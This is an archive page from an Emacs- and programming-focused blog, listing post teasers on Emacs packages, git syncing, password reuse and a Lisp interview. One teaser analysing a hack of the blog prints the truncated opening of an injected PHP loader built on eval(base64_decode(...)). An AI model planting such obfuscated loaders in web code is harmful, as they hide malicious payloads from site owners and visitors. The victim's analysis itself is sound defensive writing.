Category Archives: General

Does Anyone Really Think This Is A Problem?

Oliver Reichenstein over at the iA has a strange post/article positing that nested directories are hard to understand. Reichenstein celebrates the iOS/Mountain Lion approach to file systems in which directories can be at most one level deep (and even that … Continue reading

Posted in General | 6 Comments

Syncing With Git Repositories

Last month, I wrote about how I keep my two main machines in sync using git and how, after doing a git pull, I use a bit of Elisp to automate the reverting of my open buffers. After automating the … Continue reading

Posted in General | Tagged | 7 Comments

The Master Speaks

The road to wisdom begins with a single step, grasshopper.

Posted in General | Tagged , | Leave a comment

Using Expand-Region

Back in January I wrote about Magnar Sveen’s expand-region package that he described in Emacs Rocks #9. I recently loaded the code with ELPA and have been using it for my day-to-day work. I really like this package. It’s extraordinary … Continue reading

Posted in General | Tagged | Leave a comment

Password Reuse

I’ve mentioned Troy Hunt’s writings here before. Hunt writes regularly on security and always has something interesting to say. Last year I wrote about Hunt’s analysis of passwords from the Sony compromise and—sorry but it’s true—the stupid choices people make … Continue reading

Posted in General | Tagged | Leave a comment

Working With Rectangles

Xah Lee has a nice updated post on working with rectangles and some other loosely related matters. Every time I see these commands I think how useful they are and then promptly forget about them. I’m going to make an … Continue reading

Posted in General | Tagged | 1 Comment

Juan José García Ripoll: Lisp Hacker

This is slightly old news but over at Lisp, The Universe and Everything there’s a nice interview with Juan José García Ripoll, the developer of Embeddable Common Lisp. The thing about Ripoll is that he’s not a programmer1; he’s a … Continue reading

Posted in General | Tagged | 2 Comments

Anatomy of an Exploit

As I wrote yesterday, someone hacked the Irreal WordPress installation causing it to inject JavaScript into pages served by the blog. Here’s a copy of the hacked index.php file: <?php eval(base64_decode(‘JGlwPSRfU0VSVkVS /* elided */ );?> <?php /** * Front to … Continue reading

Posted in General | Tagged , | 5 Comments

Shift Select Mode

I’m probably the last Emacs user to discover this but here’s a nifty trick that I learned today while trawling through some of Magnar Sveen’s .emacs.d files. If you hold down the shift key when moving the point, the region … Continue reading

Posted in General | Tagged | 1 Comment

Moving and Returning

Xah Lee asks what’s the best way to jump to another position in a buffer and then return to the original point? Emacs users know a lot of ways of doing this. We can, for example, use 【Ctrl+s】 to move … Continue reading

Posted in General | Tagged | 5 Comments